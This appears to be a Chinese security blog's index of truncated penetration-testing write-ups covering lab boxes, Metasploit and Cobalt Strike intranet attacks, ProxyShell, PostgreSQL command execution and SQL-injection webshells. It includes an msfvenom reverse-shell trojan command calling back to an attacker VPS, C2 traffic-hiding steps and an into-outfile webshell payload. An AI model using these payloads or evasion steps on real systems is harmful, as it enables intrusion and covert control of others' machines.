从FTP到SSH提权 - 起始点
以下在靶场中属于very easy难度.
ftp匿名登录到提权
0x01. ftp匿名登录
目标靶机IP:10.129.34.101 本机IP:10.10.14.156
Nmap -sS -sC -sV 10.129.34.101 Nmap扫描结果可以看到开启了ftp、ssh、http的端口且操作系统是Linux的
这里ftp可以通过匿名的方式登录,且ftp登录之后有一个backup.zip文件
通过ftp将其下载到本地,打开之后发现这个zip是需要密码来打开的
0x02. John The Ripper
这时候就可以用到kali里面的**john the ripper(开膛手约翰)**来破解密码了。
先提取backup.zip的hash值到hash.txt中,然后将hash.txt中的hash值去和字典中的值进行匹配
因为这个工具好像是有一种缓存机制,第一次破解之后关闭命令行再去破解,就不会显示出密码 需要加上参数 –show才可以看到原本的密码,这里我把backup.zip的名字都修改了- -。
应该是根据文件的hash值进行判断的,这里得到密码 741852963。
...
红日ATT&CK内网练习
红日ATT&CK内网靶场练习
一、环境搭建
简单网络拓扑图如下:
红日靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
Windows 7的网卡配置:
Windows Server 2003的网卡配置:
Windows Server 2008的网卡配置:
这里我将win7的nat模式换成了桥接模式,因为朋友懒得下靶场,但又想打靶场,所以我干脆调成桥接,而不是nat模式了。
如果使用nat模式,可能会获取不到ip,当获取不到ip的时候,将自定义的网卡放到nat模式网卡上面即可.
二、实操1 — 拿下Web服务器权限
0x01. 网站首页
打开页面,发现是一个php探针的一个页面。
可以看到网站的绝对路径、服务器中间件详细信息、使用的数据库类型等敏感信息
拉到最下面可以看到有一个测试数据库连接的地方
随手猜一下弱口令 用户名root、密码root,点击Mysql检测,弹窗 -> 连接到Mysql数据库正常
那么换一个密码试试回显是否一样,这时候就无法连接到Mysql数据库了,那么得知数据库的账号密码 ...
一次无质量MSF内网渗透
本来还是想用cobalt strike,但是由于某些原因,暂时关闭了cobalt strike的服务器,正好用msf尝试做一次内网渗透熟悉熟悉,注:最初用蚁剑看了一下,此次目标主机没开杀软,所以以下内容不涉及免杀.
一、MSF生成木马上线目标
0x01. 生成木马
使用命令: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XX LPORT=4444 -f exe > exp.exe 创建一个msf的木马(不免杀版本)
其中 -p 后面的内容是使用的 payload类型,LHOST是vps的地址,LPORT是端口
0x02. 监听端口
命令: use exploit/multi/handler 使用msf的监听模块
设置payload: set payload windows/x64/meterpreter/reverse_tcp 这里和生成木马的时候写的payload要一样,否则会链接不上,如下图
设置监听地址以及端口:
set lhost xxx.xxx.xxx.xxx
set lport ...
由Exchange的漏洞ProxyShell引发的一次无质量内网渗透
一、 Exchange中的ProxyShell漏洞
ProxyShell是Exchange的最新漏洞,CVE编号为CVE-2021-34473(远程代码执行)、CVE-2021-34523(特权提升)、CVE-2021-31207(安全绕过漏洞),有兴趣的师傅可以自行去google、twitter等找找相关文档。
放上之前看到的复现链接:
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
我晓得个🔨,我是一只只会打exp的🐒
二、 内网渗透
0x01. 前言:
Proxyshell导出的马一般都是system这种高权限,这个跟Exchange规则有所关联,所以基本不需要提权,当然也有极少数获得到的shell无法执行命令。
我这里是直接使用的某条有system权限的shell,操作起来比较方便。
0x02. 初步信息搜集
1.查看当前用户 ...
Cobalt Strike隐藏特征与混淆流量
Cobalt Strike 特征隐藏与流量混淆
大致内容:
修改默认端口
服务器设置禁Ping
Cobalt Strike默认证书修改
CDN隐藏
利用Malleable C2流量混淆
Cobalt Strike服务端配置
0x01. 需求配置
vps一台
域名
CDN
Cobalt Strike4.0
0x02. 服务器设置禁ping
服务器禁ping从某种意义上来说,算是不存活的主机,但nmap是依然能够扫描出来的。
设置禁ping命令:
vim /etc/sysctl.conf 打开后按i进入编辑模式,在任意位置新增以下内容
net.ipv4.icmp_echo_ignore_all=1
新增之后 ESC -> 冒号 -> wq[退出并保存]
再使用命令 sysctl -p 即可生效,这时候再ping主机就会ping不通了。
0x03. 修改Cobalt Strike默认端口号
在服务端的teamserver文件末尾处修改
修改之后再次启动teamserver的时候即可看到端口已经更改。
0x04. 修改默认证书
Cobalt St ...
一次失败的PostgreSQL命令执行
0x01. PostgreSQL是什么?
从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL。
PostgreSQL是一个的开源对象关系型数据库系统,使用和扩展了SQL语言,通常带有C、per、python扩展语言。Postgre SQL还具有高度的可扩展性,比如自定义数据类型、构建自定义函数等。
0x02. PostgreSQL命令执行(CVE-2019-9193)
从postgresql 9.3 版本开始,PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及pg_read_server_files组用户执行任意的操作系统命令.
因为只有数据库超级用户和pg_read_server_files组用户可以执行系统命令,所以第一步要先看自身的权限是否足够。
SQL语句: select * from pg_user
上图可以看到现在是postgres的权限,也就是postgresq ...
内网信息收集
1.服务器内网结构是什么样的?
2.服务器角色是什么?
3.谁在使用这台服务器?
4.服务器上安装了哪些杀软?
5.服务器是通过什么方式联通外网的?
6.服务器是台式还是笔记本?
0x01 收集信息
需要简单了解本机信息,包括操作系统、权限、内网ip地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等等。
如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般都是批量统一安装的。
1.查询网络配置信息
命令:ipconfig /all 查询本机ip相关信息
2.查询操作系统及软件的信息
①查询操作系统和版本信息
命令:systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”
英文版系统: systeminfo | findstr /B /C:“OS Name” /C:“OS Version”
以上命令是从systeminfo信息中提取 名称和版本的信息 其他信息不输出.
②查看系统体系结构
命令: echo %processor_architecture%
③查看安装的软件及版本、路径等 ...
域环境搭建
0x01 域环境背景知识
1.什么是域:
将网络中多台计算机逻辑组织到一起,进行集中管理的这种逻辑环境叫做域。
域是组织与存储资源的核心管理单元,在域中至少存在一个域控制器,它存着整个域中的用户账号和安全数据.
其中域的种类又被分为:单域、子域、父域、域树、域林、域森林、DNS域名服务器
单域:只有一个域的网络环境。
父域和子域:顾名思义父子关系,简单来说就是总公司=父域,分公司=子域,设置父子域的好处就是减小了域之间信息交互的压力(子域只能用父域的名字作为域名后缀)
域树:多个域通过建立信任关系组成的集合,如果两个域之间需要相互访问,就需要建立信任关系。
域森林:多个域树通过建立信任关系组成的集合。
DNS域名服务器:实现域名到IP地址的转换,由于域中计算机使用DNS来定位DC、服务器和其他计算机的,所以域的名字就是DNS域的名字。
2.域中计算机的分类:
域中计算机分为以下几种:域控制器、成员服务器、客户机、独立服务器.
域控制器: 用于管理所有的网络访问,存储着域中的所有的账户和策略信息。(允许一个域中有多个域控制器)
成员服务器:安装了服务器操作系统并 ...
sql注入到获得域控-上
0x01. 基于sql注入的webshell
可以利用mysql的导出函数,将查询
into outfile()
例如:id=1 union select 1,‘’ into outfile ‘c:/phpstudy/www/1.php 将id=1和联合查询出来的值导出到c:/phpstudy/www/1.php中,id=1的内容可能有很多,那么可以写id=1.1 让其查询不出结果’
into dumpfile() (可以16进制写入.)
id=7.1 union select 1,‘’ into dumpfile ‘c:/phpstudy/www/1.php’
当知道绝对路径,且导出权限开启的时候就可以拿到webshell
DNS注入 load_file. @@datadir
数据具体位置存储的路径 @@basedir
小技巧:在传参的时候?id[]=1 加上中括号有时候可以看到报错信息
0x02. Getshell查看信息
1. 初步收集身份信息
whoami 查看当前用户权限
netstat -ano 查看本机开放的端口
tasklist 查看本机运行的程序
...
sql注入到获得域控-下
一、什么是域
域其实就是由一些计算机组成的,一台电脑可以是一个域,多台电脑也可以是一个域。
在域中的机器并不对等,主要分为控制机和客户机,控制机的权限很大,可以操控域中的任意机器,被称为:域控制器,速成域控(DC)。拿下域控,就相当于拿下了一个域中的所有机器。
域又被分为单域、父域、子域、域树、域森林等概念。
内网中的机器:
1.在域中,分为高权限(域控)、低权限(域成员)
2.域控的密码和用户能够登陆所有加入域的机器。
3.不在域中:互相有联系,但是是平级。
二、域环境配置
0x01. 域控的安装
打开Windows server 2008的服务管理器选择添加角色,选择域服务,然后下一步,安装。
这里只有域控才会安装这个,其他客户机是不需要安装这个的。
选择域服务安装向导
现有林:顾名思义,已经有的林。
这里选择在新林中新建域,域名随便写都可以。
注意:这里的林功能级别是向下兼容,而不向上兼容的。
如果选择2008 R2 那么低版本如2003的 就可能不会兼容,但是选择2003,那么2003以上版本的都能加入。低版本的配置高版本能兼容,高版本的配置低版本不一定兼容。 ...